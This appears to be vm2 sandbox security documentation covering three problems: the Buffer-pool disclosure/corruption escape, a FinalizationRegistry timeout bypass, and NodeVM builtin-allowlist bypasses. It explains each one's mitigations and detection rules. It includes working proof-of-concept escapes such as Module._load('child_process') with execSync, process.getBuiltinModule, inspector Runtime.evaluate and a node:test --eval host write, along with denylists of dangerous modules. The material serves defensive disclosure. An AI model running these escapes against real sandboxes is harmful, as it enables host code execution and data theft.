Tests: test/ghsa/GHSA-fcqc-726x-5wfc/, test/ghsa/GHSA-489w-w794-jq94/

Uses: Category 15: Property Descriptor Value Extraction (in spirit β€” a getter, Uint8Array.prototype.buffer, hands back more than the sandbox should see)

CWE-200 (Information Exposure) + CWE-787 (Out-of-bounds Write). This is a confidentiality + integrity escape, not a DoS β€” distinct from the bufferAllocLimit DoS categories (23, 36) that share the Buffer.* chokepoint. The category has two halves: buffers the SANDBOX allocates (GHSA-fcqc-726x-5wfc) and buffers the HOST allocates and hands in (GHSA-489w-w794-jq94).

Description

Node serves small Buffer.from(...), Buffer.concat(...), Buffer.of(...), Buffer.copyBytesFrom(...) and Buffer.allocUnsafe(...) allocations out of one shared backing ArrayBuffer of Buffer.poolSize bytes (64 KiB on modern Node; 8 KiB on Node 8). Many small buffers are packed into that single pool at different byteOffsets. A pooled buffer's .buffer getter (Uint8Array.prototype.buffer) returns the whole pool β€” not just the buffer's own slice. Any host-realm buffer that happens to share the pool (Buffer.from(secret), DB rows, session tokens, decrypted material) is therefore both readable and writable from inside the sandbox:

javascript
const ab = Buffer.from([0]).buffer;                 // the ENTIRE 64 KiB pool ArrayBuffer
const view = Buffer.from(ab, 0, ab.byteLength);     // a Buffer over every pooled byte
view.toString('latin1');                            // DISCLOSE neighbouring host buffers
view.fill(0x41);                                    // CORRUPT them

Buffer.from([0]).buffer.byteLength === 65536 inside the sandbox proved the leak: the returned ArrayBuffer is 64 KiB while the buffer is 1 byte. The .buffer reference never crosses a capability check β€” it is an ordinary getter on a bridge-proxied Uint8Array β€” so the bridge's realm isolation does not help: the bytes it exposes are genuinely the sandbox's to touch and everyone else's that landed in the same pool.

Attack Flow

  1. Host code (embedder or a Node-internal on the same tick) creates a small buffer holding a secret; Node places it in the shared pool.
  2. Sandbox allocates any small buffer via a pooling factory (Buffer.from([0])).
  3. Sandbox reads .buffer β†’ the full pool ArrayBuffer.
  4. Sandbox builds a full-width view with the Buffer.from(arrayBuffer, 0, byteLength) overload (which legitimately shares the passed ArrayBuffer).
  5. Sandbox reads the view (disclosure) or writes it (corruption), reaching every byte of every buffer currently pooled.

Canonical Examples

javascript
// Disclosure
const secret = Buffer.from('SESSION=deadbeef');   // host, lands in pool
new VM().run(`
    const pool = Buffer.from([0]).buffer;
    Buffer.from(pool, 0, pool.byteLength).toString('latin1');  // contains SESSION=deadbeef
`);

// Corruption
new VM().run(`
    const pool = Buffer.from([0]).buffer;
    Buffer.from(pool, 0, pool.byteLength).fill(0x41);          // overwrites host buffers
`);

Why It Works

Buffer.from(array | string | typedarray | arrayLike), Buffer.concat, Buffer.of, and Buffer.copyBytesFrom return pool-backed buffers (byteOffset !== 0 and/or buffer.byteLength === poolSize). The bufferAllocLimit chokepoint (Categories 23/36) only guarded how many bytes these factories allocate; it never constrained which backing store they return. Buffer.alloc / allocUnsafe / allocUnsafeSlow were already safe here only incidentally β€” the sandbox wrappers route them to the non-pooled LocalBuffer.alloc.

Mitigation

lib/setup-sandbox.js enforces a backing-store ownership invariant: a buffer handed to the sandbox must own its entire backing store β€” byteOffset === 0 and buffer.byteLength === length. Then .buffer can reveal nothing beyond the buffer's own bytes.

  • depoolBuffer(buf) returns buf when it already owns an exact-size backing store, otherwise copies it into a standalone LocalBuffer.alloc(n) (non-pooled, zero-filled, byteOffset 0) via the raw host Buffer.prototype.copy primitive.
  • Applied at every sandbox-facing pooling factory: bufferFrom (the non-ArrayBuffer overloads), concat, copyBytesFrom, a new bufferOf wrapper, and the deprecated Buffer(...) / new Buffer(...) call forms (BufferHandler now routes its non-numeric path through bufferFrom).
  • The Buffer.from(arrayBuffer | sharedArrayBuffer, byteOffset, length) sharing overload is preserved (copying it would break the documented shared-memory contract). It is detected by a spoof-proof brand test β€” applying the captured ArrayBuffer.prototype/SharedArrayBuffer.prototype byteLength getter, whose internal-slot check a sandbox cannot fake. This is safe because small allocations do not pool, so the only ArrayBuffer a sandbox can pass is one it already owns, and every sandbox buffer's .buffer is now exact-size β€” so the shared view can only ever span the sandbox's own bytes.

Views derived from a depooled buffer (slice, subarray, map, filter, species-constructed results) are safe: they either view the parent's now-exact-size, sandbox-owned backing store, or are freshly constructed through the Category-36-capped TypedArray constructors. No copy is needed for them.

Variant: Host-Allocated Buffers Crossing The Bridge (GHSA-489w-w794-jq94)

The depoolBuffer rule above only reaches buffers a sandbox-facing factory produced. A buffer the host allocated and then handed to the sandbox never passes through any of those wrappers, so its .buffer still delivers the whole pool. Every ordinary NodeVM configuration produces such buffers: require: { builtin: ['zlib'] } and zlib.deflateSync('hello') returns a 13-byte host Buffer sitting at some offset inside Node's 64 KiB pool. The same holds for an embedder-supplied sandbox: { b: Buffer.from('hello') }, for a host Buffer passed as a callback argument, and for fs.readFileSync results.

Attack Flow

  1. Host code (a builtin, the embedder, or a Node internal on the same tick) allocates small buffers holding secrets; Node packs them into the shared pool.
  2. Sandbox obtains any host-allocated Buffer β€” a builtin's return value, a sandbox-injected buffer, a callback argument.
  3. Sandbox reads the buffer's backing store β€” .buffer, or its legacy twin .parent (DEP0004), both of which return the same ArrayBuffer. The bridge get trap forwards the raw host accessor and wraps its result, which is the whole pool.
  4. Sandbox builds a full-width view with Buffer.from(ab, 0, ab.byteLength) β€” the sharing overload, which delegates to host Buffer.from and therefore views the raw pool.
  5. Sandbox reads it (disclosure) or writes it (corruption), reaching every byte of every host buffer currently pooled.

Canonical Examples

text
/* Detailed source-code truncated for AI context efficiency. */

Why It Works

The backing store is reached through accessors that read a V8 internal slot β€” %TypedArray%.prototype.buffer, DataView.prototype.buffer, and the legacy Buffer.prototype.parent, all of which hand back the same ArrayBuffer. The bridge invokes it on the raw host object and wraps whatever comes back, so the pool ArrayBuffer crosses as an ordinary value β€” no capability check is involved. The sandbox-side Buffer.from(arrayBuffer, byteOffset, length) ownership rule cannot catch it either: a full-width view of the pool owns its whole backing store (byteOffset === 0, byteLength === buffer.byteLength), so it satisfies the ownership test exactly and is passed through unchanged. The rule has to be applied to the host view being read, not to the sandbox buffer being built β€” and keyed on the identity of the value being delivered, not on a list of property names, or a sibling accessor re-opens it.

Mitigation

lib/bridge.js restores the backing-store ownership invariant stated in the Mitigation above — a buffer visible to the sandbox may expose no byte beyond its own — in the host→sandbox direction, where no sandbox-side factory can enforce it. The references it needs are captured at bridge init, per Defense Invariant #8. The rule is keyed on identity, not on a property name: when a value read off a host ArrayBufferView is that view's backing store and the view does not own the whole store (byteOffset !== 0 || byteLength !== store.byteLength), the sandbox receives a bounded copy — a host-side ArrayBuffer.prototype.slice(byteOffset, byteOffset + byteLength) of exactly the view's own bytes — never the shared store. .buffer, .parent and any future alias are covered by that one rule.

  • otherBoundedViewStore(view, value) is the chokepoint. It classifies the view (%TypedArray%.prototype vs DataView.prototype) and the store (ArrayBuffer.prototype vs SharedArrayBuffer.prototype) by prototype-chain identity against references cached at bridge init, reads the view's store and extent through the matching cached intrinsic getters, and copies with the realm-correct slice.
  • Applied in BaseHandler.get for every object-valued read off a host view and, defensively, in BaseHandler.getOwnPropertyDescriptor for a shadowing own data descriptor. The hot-path gate is the cached host ArrayBuffer.isView, an internal-slot check that cannot be faked or throw; everything else runs only for genuine host views.
  • Fail closed, where the bridge can tell. If view carries the ArrayBufferView internal slot but the bridge cannot read its extent β€” a realm exposing %TypedArray%.prototype without its buffer / byteOffset / byteLength accessors, a detached view on an engine whose getters throw, or a slice that throws β€” an ArrayBuffer coming off that view is refused with VMError rather than delivered. Silently substituting an empty store would corrupt legitimate data flows with no diagnosable signal; delivering the store is the vulnerability itself. Values that are not backing stores still cross normally, so ordinary property reads on such a view keep working. This says nothing about a store the bridge cannot classify β€” see the Known Residual.
  • The brand check itself must be reachable. ArrayBuffer.isView is resolved from the OTHER realm's global ArrayBuffer first, with ArrayBuffer.prototype.constructor only as a fallback: hanging it off constructor alone let a host app disable the entire defense by shadowing that one property before vm2 loaded. If neither route yields it in a realm that has view prototypes at all, otherIsView falls back to a prototype-chain walk and otherBoundedViewStore refuses outright, so a missing brand check can never mean "bounding off".
  • A foreign store on a host view is refused. A backing store read off a host view that is not that view's own store can only have been planted by the embedder (an own data property or accessor shadowing buffer / parent with some other ArrayBuffer). There is no extent to bound it to and it is very likely another pooled store, so it is refused with VMError β€” one identity compare on a path already taken.
  • SharedArrayBuffer-backed views are bounded the same way: SharedArrayBuffer.prototype.slice yields a fresh, smaller SharedArrayBuffer, so the wider shared store β€” and any host-realm view onto it β€” stops at the bridge.
  • The raw host %TypedArray%.prototype.buffer, DataView.prototype.buffer and Buffer.prototype.parent getters β€” and the matching offset getters %TypedArray%.prototype.byteOffset, DataView.prototype.byteOffset and Buffer.prototype.offset, so an extracted getter cannot contradict the bounded store by reporting the view's true offset inside the pool β€” are registered as undeliverable raw host accessors (the same identity set and chokepoints the raw prototype readers of Category 37 use), so the getter-extraction shape collapses to a non-callable sentinel and every invocation shape β€” direct, Function.prototype.call/.apply/.bind, Reflect.apply/construct β€” is refused. Ordinary property reads are unaffected: they never travel through the apply trap. Host Buffer is not a JS intrinsic and is exposed on Node's global through a lazy getter, so it is resolved off the OTHER realm's global at bridge init, through both descriptor shapes, and skipped entirely on a host without Buffer.
  • The triple stays consistent. Once a view's store is delivered bounded, that view's byteOffset β€” and the legacy numeric offset β€” read as 0 from the same get trap, because the store the sandbox holds now starts at the view's own first byte. Without this the standard Node re-view idiom Buffer.from(v.buffer, v.byteOffset, v.length) would throw RangeError: "offset" is outside of buffer bounds.
  • bufferOwnsExactBackingStore in lib/setup-sandbox.js no longer tries to observe ownership β€” bounding makes byteOffset === 0 and buffer.byteLength === length read identically for a pooled buffer and an owning one, and each .buffer read of a non-owning view costs a copy. It decides by construction instead, from Node's own pooling rule (allocate() uses the shared pool only when size < (Buffer.poolSize >>> 1)): anything smaller is copied unconditionally, anything larger already owns its store. Over-copying is always safe; the bridge-side bounding is the backstop if Node's rule ever changes. The Buffer.from(arrayBuffer, byteOffset, length) sharing overload is preserved for a host-realm ArrayBuffer too β€” the sandbox-side internal-slot brand test cannot recognize a bridge proxy, so bufferFrom additionally accepts the result when its own backing store is the argument, an identity no sandbox look-alike can forge.

Observable behaviour. For a host view that does not own its whole backing store:

  • .buffer / .parent is a bounded copy: hostBuf.buffer !== hostBuf.buffer (a fresh copy per read) and writes through it are not host-visible.
  • byteOffset and the legacy numeric offset read as 0.
  • Sub-views the sandbox itself creates from a host-backed Buffer (hostBuf.subarray(4, 8).buffer) lose .buffer aliasing with their parent as well β€” they are bounded to their own bytes. Index writes on such a sub-view still alias the parent and are still host-visible; only the store is decoupled. This is accepted, not engineered around: a sub-view that could widen back to its parent's store is the same escape one hop away.
  • Every .buffer / .parent read of a non-owning host view is a fresh host-side copy, so reading one in a loop amplifies allocation and copying proportionally to the view's size times the number of reads. It is bounded by the sandbox timeout like any other sandbox-driven work, and by the view's own length β€” not by the pool's β€” but a large sub-view read repeatedly is measurably more expensive than it was.
  • Buffer.from(hostArrayBuffer, byteOffset, length) over a strict sub-range of a host-realm ArrayBuffer below Buffer.poolSize / 2 returns a copy rather than a live view, for the same reason. Larger sub-ranges stay live views: such stores are never pooled, so depoolBuffer leaves them alone. The full-range form β€” the documented re-view idiom β€” always shares.
  • The Buffer.from(arrayBuffer, …) sharing overload discussed here is about host-realm ArrayBuffers, which reach the sandbox as bridge proxies. A sandbox-realm ArrayBuffer passed to a host Buffer API is rejected by Node's own internal-slot check, exactly as before this fix β€” pre-existing behaviour, unchanged.
  • A SharedArrayBuffer-backed view is delivered as a copy, so an embedder that wants live cross-realm sharing must hand the sandbox a view that spans the whole store.

A host buffer that owns its whole store (Buffer.alloc(n), anything at or above Buffer.poolSize / 2) is untouched: same object, identity-stable, still write-through β€” the only case where writing through .buffer ever had defined host-visible meaning.

Known Residual. The bridge can only bound a store it can tie to a view, and can only recognise a store whose prototype chain it can classify. Two embedder-authored shapes remain:

  • A bare ArrayBuffer handed over directly β€” a host object property whose value is a pooled ArrayBuffer ({ pool: Buffer.from('x').buffer }), or a host function that returns one (function leak() { return Buffer.from('x').buffer; }). No view is in the picture at all, so there is no extent to measure against and the store is delivered as-is. Planting such a store on a view, as an own buffer / parent property or accessor, is no longer a residual β€” it is refused; see the Mitigation.
  • A store the bridge cannot classify β€” for example a host view over an ArrayBuffer from a different host realm (another vm context, a worker), whose prototype is not the cached ArrayBuffer.prototype. otherBackingStoreInfo returns null and the value is delivered raw rather than refused. Such a store is not Node's shared pool but an embedder-constructed cross-realm one, and refusing it would break legitimate multi-realm embedders, so it is documented rather than closed.

Both require the embedder to deliberately hand over a raw or cross-realm ArrayBuffer. The rule for embedders is: hand the sandbox the Buffer (or a full-store view) and let the bridge bound it β€” never its raw backing store.

Detection Rules

  • Buffer.from([0]).buffer.byteLength !== 1 inside a sandbox β†’ pooling leak is open.
  • hostBuffer.buffer.byteLength > hostBuffer.length for any host-allocated buffer reachable from the sandbox (a builtin's return value, an injected sandbox buffer, a callback argument) β†’ the hostβ†’sandbox half is open.
  • hostBuffer.parent.byteLength > hostBuffer.length β†’ the same half is open through the legacy parent accessor. More generally: any own accessor on a host binary-data prototype that returns the backing ArrayBuffer must be bounded or denied, not just buffer. Enumerate them per engine β€” on Node 26 they are %TypedArray%.prototype.buffer, DataView.prototype.buffer and Buffer.prototype.parent β€” and prefer a rule keyed on the identity of the delivered value over a list of names.
  • Any new hostβ†’sandbox read path that can surface a host ArrayBuffer without passing through otherBoundedViewStore.
  • Sandbox code that reaches for a raw host backing-store getter (__lookupGetter__, getOwnPropertyDescriptor on a host prototype) rather than reading the property.
  • Any sandbox-facing Buffer/typed-array factory whose result has byteOffset !== 0 or buffer.byteLength !== length.
  • Reading .buffer on a pooled buffer and passing it to the Buffer.from(ab, off, len) overload.
  • New Buffer.* factories in future Node versions must be checked for pool-backing, not just alloc-size (the BUFFER_STATIC_CLASSIFIED fail-closed gate from Category 23 catches unclassified methods, but a method classified SAFE for alloc-size could still return a pooled buffer β€” reclassify with pooling in mind).

Attack Category 42: `FinalizationRegistry` Cleanup Callback β€” `timeout` Protection-Mechanism Failure

Advisories: GHSA-r4fx-v8hh-22mv

Tests: test/ghsa/GHSA-r4fx-v8hh-22mv/

Description

The timeout option only bounds the synchronous body of run(). It is implemented with V8's TerminateExecution, an interrupt watchdog that unblocks the single in-flight run() call and nothing else β€” as the README states, "Timeout is only effective on synchronous code that you run through run." A FinalizationRegistry cleanup callback is invoked by the garbage collector at an unpredictable later time, after run() has already returned, so a busy-loop inside it executes sandbox code entirely outside any timeout accounting and blocks the host's single-threaded event loop for an arbitrary duration with no relationship to the configured timeout. This is in scope as a protection-mechanism failure of the documented timeout control β€” not as a general DoS-prevention claim. vm2 does not and never has claimed to prevent every form of resource exhaustion (see the README Hardening recommendations / Known Issues), and this is not a realm escape: sandbox code stays in its own realm throughout.

Attack Flow

  1. Sandbox registers a cleanup callback against an object it creates, then drops the only strong reference: registry.register(target, x); target = null;.
  2. run() returns almost instantly (registration is O(1)), well inside timeout β€” vm2 believes execution completed safely.
  3. At a later GC (forceable under memory pressure or --expose-gc), V8 invokes the cleanup callback on its own native callback path β€” not a new run() call, so doWithTimeout never wraps it.
  4. The callback busy-loops; the entire host event loop is frozen for its duration.

Canonical Example

javascript
// (advisory GHSA-r4fx-v8hh-22mv)
const vm = new VM({ timeout: 200 });
vm.run(`
    let target = {};
    const registry = new FinalizationRegistry(() => {
        const s = Date.now(); while (Date.now() - s < 3000) {}   // block 3s
    });
    registry.register(target, 'x');
    target = null;                                               // GC-eligible
`);
// run() returns in ~0ms. A host setTimeout(10) does not fire for ~3000ms.

Why It Works

timeout bounds only the synchronous run() body. Any execution the engine schedules to run after run() returns is outside that window. The other out-of-band schedulers are already handled: timers (setTimeout/setInterval/setImmediate) and queueMicrotask are not exposed to the VM sandbox at all, and Promise continuations (the same class) are closed by allowAsync: false. FinalizationRegistry was the one out-of-band executor still reachable in the default configuration β€” and, unlike Promise continuations, allowAsync: false does not close it because the GC, not the sandbox's async machinery, fires the callback.

Mitigation

Remove FinalizationRegistry and WeakRef from the default sandbox globals in lib/setup-sandbox.js (localReflectDeleteProperty(global, …)), the same way timers are withheld. NodeVM inherits the removal (it extends VM and shares the bootstrap). Neither constructor has literal syntax, so once the global binding is deleted it cannot be reconstructed from within the sandbox β€” verified against Function/GeneratorFunction/eval (all resolve free identifiers against the sandbox global β†’ ReferenceError), constructor-chain climbs off surviving weak collections (WeakMap/Promise β†’ undefined), and Reflect.get / getOwnPropertyDescriptor on globalThis. WeakRef cannot itself schedule a callback (deref is synchronous) and is removed only for tidiness alongside its registry. Embedders who genuinely need these for trusted code can re-expose them explicitly through the sandbox option (mirrors the timers story). Residual, by design: an embedder that re-exposes FinalizationRegistry through sandbox re-opens this vector in full β€” the removal is the default-configuration defense, not a wrapper that re-times the callback. The general caveat still holds: timeout bounds only the synchronous run() body, so any future global that can invoke sandbox code after run() returns re-opens the class.

Detection Rules

  • new FinalizationRegistry(cb) in sandbox code where cb performs a busy-loop or any expensive synchronous work.
  • Any sandbox use of a GC-scheduled callback (FinalizationRegistry.prototype.register) whose callback is attacker-controlled.
  • More broadly, any newly-exposed global that can invoke sandbox code after run() returns (a new timer-like or GC-like primitive) re-opens this class and must be withheld or wrapped in a re-timed host dispatcher.

Considered Attack Surfaces

  • WeakRef alone: cannot schedule execution β€” deref() is synchronous and returns within the run() timeout window. Removed only as the pair to FinalizationRegistry; keeping it would be safe.
  • Promise continuations (Promise.resolve().then(busyLoop)): same after-run() class, but already closed by allowAsync: false, which the README pairs with timeout. Promise cannot be removed (fundamental primitive).
  • Atomics.wait(ta, i, v) on a SharedArrayBuffer: parks the thread synchronously inside run(), so V8's TerminateExecution does interrupt it β€” verified it throws Script execution timed out at the configured limit. Bounded; not in this class.
  • Buffer/TypedArray/WebAssembly.Memory allocation: synchronous native work, a different DoS class already capped by bufferAllocLimit β€” see Category 23 and Category 36.
  • Objects returned from run() with sandbox valueOf/toString/Symbol.toPrimitive: run sandbox code when the host later touches them β€” already documented in the README timeout warning ("operating on returned objects can run arbitrary code and circumvent the timeout"). Out of band via the host, not the GC.

Attacks Nodevm Require (`docs/attacks/nodevm-require.md`)

NodeVM require and Allowlists

NodeVM's module boundary: the builtin allowlist and its wildcard, require.root, nesting, the external-package matcher, host-authority members of allowed builtins, and util passthrough.

Defense invariants enforced by fixes in this family: 13 (see Defense Invariants).

Categories in this file: 21, 24, 25, 34, 35, 40, 45, 46, 47, 52.


Attack Category 21: NodeVM Builtin Allowlist Bypass via Host-Passthrough Builtins

Advisories: GHSA-947f-4v7f-x2v8, GHSA-rp36-8xq3-r6c4, GHSA-8686-vhfx-7r3j, GHSA-6rh5-qq4q-97xh, GHSA-qhwx-74w5-xhxq, GHSA-m5w8-4gq2-6f8x, GHSA-pq68-rvw4-xp4r

Tests: test/ghsa/GHSA-947f-4v7f-x2v8/, test/ghsa/GHSA-rp36-8xq3-r6c4/, test/ghsa/GHSA-8686-vhfx-7r3j/, test/ghsa/GHSA-6rh5-qq4q-97xh/, test/ghsa/GHSA-qhwx-74w5-xhxq/, test/ghsa/GHSA-m5w8-4gq2-6f8x/, test/ghsa/GHSA-pq68-rvw4-xp4r/, test/nodevm.js ("disabled require"), test/nodevm.js ("enabled require for certain modules"), test/nodevm.js ("disable setters on builtin modules")

Description

NodeVM's require.builtin allowlist defends sandbox code from reaching dangerous Node modules (child_process, fs, etc.). The allowlist is enforced by lib/builtin.js β€” when sandbox code calls require(name), the resolver consults the allowlist and only loads modules the user opted in to. However, several Node builtins themselves expose primitives whose primary capability is "reach host code regardless of the sandbox boundary". When such a builtin is on the allowlist (or, more commonly, included by the '*' wildcard), it becomes a single-line allowlist bypass:

  • module exposes Module._load(name), Module._resolveFilename, Module._cache, createRequire β€” all of which load any host builtin or external module ignoring vm2's allowlist.
  • worker_threads exposes new Worker(src, {eval: true}) β€” runs arbitrary JS in a fresh thread that has no vm2 sandbox at all.
  • cluster exposes cluster.fork() β€” spawns a host child process running attacker-controlled code.
  • child_process exposes execSync / exec / spawn / execFile / fork β€” the most direct host-command primitive there is; one line of sandbox code runs an arbitrary host command with the embedder's privileges.
  • vm exposes vm.runInThisContext β€” evaluates code directly in the host realm, bypassing every bridge proxy.
  • repl exposes repl.start({eval, input, output}) β€” constructs an interactive evaluator attached to host streams.
  • inspector (and inspector/promises, subpath family) exposes the inspector protocol β€” attaches a debugger to the host process and runs Session().post('Runtime.evaluate', { expression }) against host JS.
  • process exposes process.getBuiltinModule(name) (Node 22+) β€” reloads ANY core module regardless of the embedder's allow/deny list β€” plus process.binding(...), process.dlopen(...), process._linkedBinding(...), and the raw host process.env. The sandbox global process is a sanitized shim defined in setup-node-sandbox.js; the raw host module is never safe to expose.
  • test (and test/reporters, subpath family) exposes test.run({ files, execArgv }) β€” the test runner's process-isolated mode spawns a SEPARATE host Node process and forwards execArgv to it verbatim, so execArgv: ['--eval=<js>'] executes attacker JavaScript in an unsandboxed host process. Same class as cluster.fork(). It is easy to misread test as inert tooling, but its documented API is a host-process launcher with caller-controlled command-line flags.

Attack Flow

  1. Allowlist includes a host-passthrough builtin (most commonly because the user wrote builtin: ['*', '-child_process'] and '*' expanded to include 'module').
  2. Sandbox calls require('module'). NodeVM's resolver finds 'module' in BUILTIN_MODULES, calls addDefaultBuiltin which loads it via vm.readonly(hostRequire('module')). The ReadOnlyHandler proxy blocks mutation traps but not apply/get β€” calling methods on the proxy still forwards them to the host realm.
  3. Sandbox calls Module._load('child_process'). The bridge apply trap forwards to host Module._load, which loads child_process natively in the host with no vm2 check.
  4. child_process.execSync(...) β†’ host RCE.

Canonical Examples

javascript
// (advisory GHSA-947f-4v7f-x2v8) β€” `module` bypass
const vm = new NodeVM({
  require: { builtin: ['*', '-child_process'], external: false }
});
vm.run(`
  const Module = require('module');
  const cp = Module._load('child_process');  // bypasses '-child_process' exclusion
  module.exports = cp.execSync('id').toString();
`, 'poc.js');
javascript
// (advisory GHSA-rp36-8xq3-r6c4) β€” `process.getBuiltinModule` bypass
const vm = new NodeVM({
  require: { builtin: ['*', '-child_process', '-inspector'], external: false }
});
vm.run(`
  const cp = require('process').getBuiltinModule('child_process');
  module.exports = cp.execFileSync('/bin/sh', ['-c', 'id']).toString();
`, 'poc.js');
javascript
// (advisory GHSA-rp36-8xq3-r6c4) β€” `inspector/promises` subpath bypass
const vm = new NodeVM({
  require: { builtin: ['*', '-child_process', '-inspector'], external: false }
});
vm.run(`
  const { Session } = require('inspector/promises');
  const s = new Session();
  s.connect();
  s.post('Runtime.evaluate', { expression: '/* runs in host realm */' });
`, 'poc.js');
javascript
// (advisory GHSA-8686-vhfx-7r3j) β€” `node:`-spelled deny token is a no-op
const vm = new NodeVM({
  require: { builtin: ['*', '-node:child_process'] }
});
vm.run(`
  // Neither spelling was denied: the deny token never matched anything.
  const cp = require('child_process');        // also: require('node:child_process')
  module.exports = cp.execSync('id').toString();
`, 'poc.js');
javascript
// (advisory GHSA-6rh5-qq4q-97xh) β€” deny token misses the subpath sibling
const vm = new NodeVM({
  require: { builtin: ['*', '-fs', '-child_process'] }
});
vm.run(`
  require('fs');                              // denied, as configured
  const fsp = require('fs/promises');         // NOT denied β€” a separate builtin
  module.exports = fsp.writeFile('/tmp/pwned', 'host write');
`, 'poc.js');
javascript
// (advisory GHSA-qhwx-74w5-xhxq) β€” `node:test` spawns a host process for you
const vm = new NodeVM({
  require: { builtin: ['node:test'], external: false }
});
vm.run(`
  // fs / child_process / module / process are all denied in this config.
  const test = require('node:test');          // also reachable as 'node:node:test'
  // run() forwards execArgv to a freshly spawned, unsandboxed host Node process.
  test.run({ files: ['noop.js'], execArgv: ['--eval=require("fs").writeFileSync("/tmp/pwned","host rce")'] });
`, 'poc.js');

Why It Works

The user's mental model of ['*', '-child_process'] is "every builtin except child_process". That model assumes every builtin is either fully sandboxed or fully blocked β€” but module (and its peers above) are neither. They're meta-builtins that load other builtins by name. The generic vm.readonly() wrapper cannot make them safe because the sandbox-bypass primitive is the very thing the user is calling.

A second, quieter failure of the same mental model is spelling. require() accepts a builtin under two names β€” child_process and node:child_process β€” and the resolver normalizes the node: prefix away before loading. The '*' wildcard expansion did not: it matched negative deny tokens against BUILTIN_MODULES by exact string, and BUILTIN_MODULES holds only canonical names. So -node:child_process matched nothing, denied nothing, and produced no warning β€” the embedder read their config as a denial while the sandbox got the full host module. A deny token that silently does nothing is worse than one that errors: the misconfiguration is invisible in review.

A third failure of the same mental model is granularity. fs and fs/promises are two independent entries in nmod.builtinModules, not one module with a submodule β€” and they expose the same host filesystem authority. Because the deny check compared against the full canonical name, -fs removed exactly the entry spelled fs and left fs/promises β€” with writeFile, rm, rename, cp β€” registered under the '*' expansion. Every subpath family had the same gap: -path left path/posix and path/win32, -stream left stream/promises / stream/web / stream/consumers, -timers left timers/promises, -dns left dns/promises. The embedder denies a capability; Node's module list hands the sandbox a second door to the same capability under a longer name. Note that isDangerousBuiltin had already learned this lesson for the hard denylist in Category 21's rp36 fix (family-prefix matching for inspector/promises) β€” the user-supplied deny tokens simply never inherited it.

Mitigation

Three-layer denylist enforcement in lib/builtin.js (restores Invariant 13 β€” The NodeVM builtin allowlist is a closed system):

  1. DANGEROUS_BUILTINS Set at module load β€” ['module', 'worker_threads', 'cluster', 'child_process', 'vm', 'repl', 'inspector', 'process', 'trace_events', 'wasi', 'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8', 'os', 'dns', 'test']. diagnostics_channel through dns were added by Category 35 for the process-wide observability info-leak class (os and dns via GHSA-m5w8-4gq2-6f8x, which additionally close the host-process write APIs os.setPriority / dns.setServers / dns.setDefaultResultOrder); they share the deny-by-default enforcement but a different threat model (data exposure / host-state mutation, not code execution).

  2. Family-prefix check via isDangerousBuiltin(key) β€” any <family>/... whose family is in the denylist is also blocked (e.g. inspector/promises, future inspector/foo, hypothetical process/foo, module/foo). The check also strips the optional node: URL-style prefix so node:process and node:inspector/promises are caught.

  3. Filter from BUILTIN_MODULES β€” closes the '*' wildcard expansion path. '*' will never auto-allow these names regardless of the user's exclusion list.

  4. Reject in addDefaultBuiltin β€” closes the explicit-allowlist path (builtin: ['module'], builtin: ['process'], builtin: ['inspector/promises']) and the lower-level makeBuiltins([...]) API used by custom resolvers. The SPECIAL_MODULES escape hatch is preserved: a future safe wrapper (e.g. a module shim that exposes only builtinModules metadata) can be registered there if a real consumer needs it.

  5. Deny-token node: normalization (GHSA-8686-vhfx-7r3j) β€” the '*' wildcard's negative-token check in makeBuiltinsFromLegacyOptions now tests both -${name} and -node:${name}, so the two spellings of a deny token are equivalent and either one denies both spellings of the module. This is the deny-side mirror of the node:-prefix stripping the resolver and isDangerousBuiltin already do on the require side. It only ever removes a builtin the exact-match check itself admits, so no module that check already allows becomes unreachable.

  6. Deny-token family coverage (GHSA-6rh5-qq4q-97xh) β€” the same negative-token check now treats <family>/<sub> as denied whenever -<family> is present, so -fs denies fs/promises, -path denies path/posix / path/win32, -stream denies stream/promises / stream/web / stream/consumers. This is the user-deny-token mirror of the family-prefix matching isDangerousBuiltin already applies to the hard DANGEROUS_BUILTINS denylist. Points 5 and 6 are composed in a single chokepoint, isBuiltinDenied(builtins, name), which normalizes the node: prefix off both the module name and the token before matching and then applies the family split to the normalized name β€” so -node:fs denies all four of fs, node:fs, fs/promises, node:fs/promises. Coverage is strictly additive: a family with no deny token keeps every subpath, and the explicit (non-wildcard) allowlist branch is untouched, so builtin: ['fs'] behaves exactly as before.

  7. test family denied (GHSA-qhwx-74w5-xhxq) β€” test joins DANGEROUS_BUILTINS, which is the whole fix: no new code path is needed. Because BUILTIN_MODULES is built by filtering nmod.builtinModules through isDangerousBuiltin, the family disappears from the source list, so it is absent from '*' expansion and from the explicit-allowlist branch β€” builtin: ['node:test'] now names a module that is not in the list, exactly as builtin: ['cluster'] already behaved. (test is denylisted because it is a host-process launcher with no legitimate in-sandbox use β€” the same rationale that later brought child_process onto the list; see point 8.) addDefaultBuiltin refuses it a second time for the low-level registration path. Subpath coverage (test/reporters) falls out of the existing family-prefix match added for inspector/promises; no special case was required. isDangerousBuiltin additionally strips repeated node: prefixes, so the doubled spelling node:node:test β€” which the resolver normalizes down to a single prefix before lookup β€” cannot survive as an unnormalized denylist miss. Note this is isDangerousBuiltin (the hard, non-configurable denylist), which is a separate chokepoint from isBuiltinDenied (points 5 and 6, user-supplied deny tokens); the two do not interact.

  8. child_process family denied (GHSA-pq68-rvw4-xp4r) β€” child_process joins DANGEROUS_BUILTINS, closing the last host-process-spawning primitive reachable through the default loader. Before GHSA-pq68 it was reachable under builtin: ['*'], an explicit builtin: ['child_process'], ['*', '-fs'], and the node: spellings, and the read-only wrap forwarded execSync / exec / spawn / execFile / fork straight to the host β€” arbitrary host command execution from a sandbox with no fs or process of its own. That reach was a documented carve-out ("embedders may legitimately want it for trusted scripts"), but the rationale applies identically to cluster / worker_threads / node:test, which are hard-denied on the "spawns a host process" basis; the carve-out was internally inconsistent, and for untrusted code an explicit ['child_process'] is a full host RCE, not a contained capability. The mechanics are identical to point 7: filtered from BUILTIN_MODULES (so '*' never expands to it), refused in addDefaultBuiltin (so an explicit request is rejected), and family/node:-normalized in isDangerousBuiltin (so node:child_process and the doubled node:node:child_process are covered).

    Upgrade path for an embedder that genuinely needs child-process access for trusted scripts: re-expose it through the mocks escape hatch, which is applied ahead of the dangerous check β€” either the real module (require: { mock: { child_process: require('child_process') } }, which forces require('child_process') into the embedder's own host code and so makes the decision explicit and auditable) or, better, a controlled facade exposing only the specific method the embedder needs (mock: { child_process: { execFileSync: … } }). A bare builtin: ['child_process'] no longer grants it.

The fix does not affect the mocks / overrides escape hatches β€” users who genuinely need a stub for one of these names can register a sandbox-safe replacement.

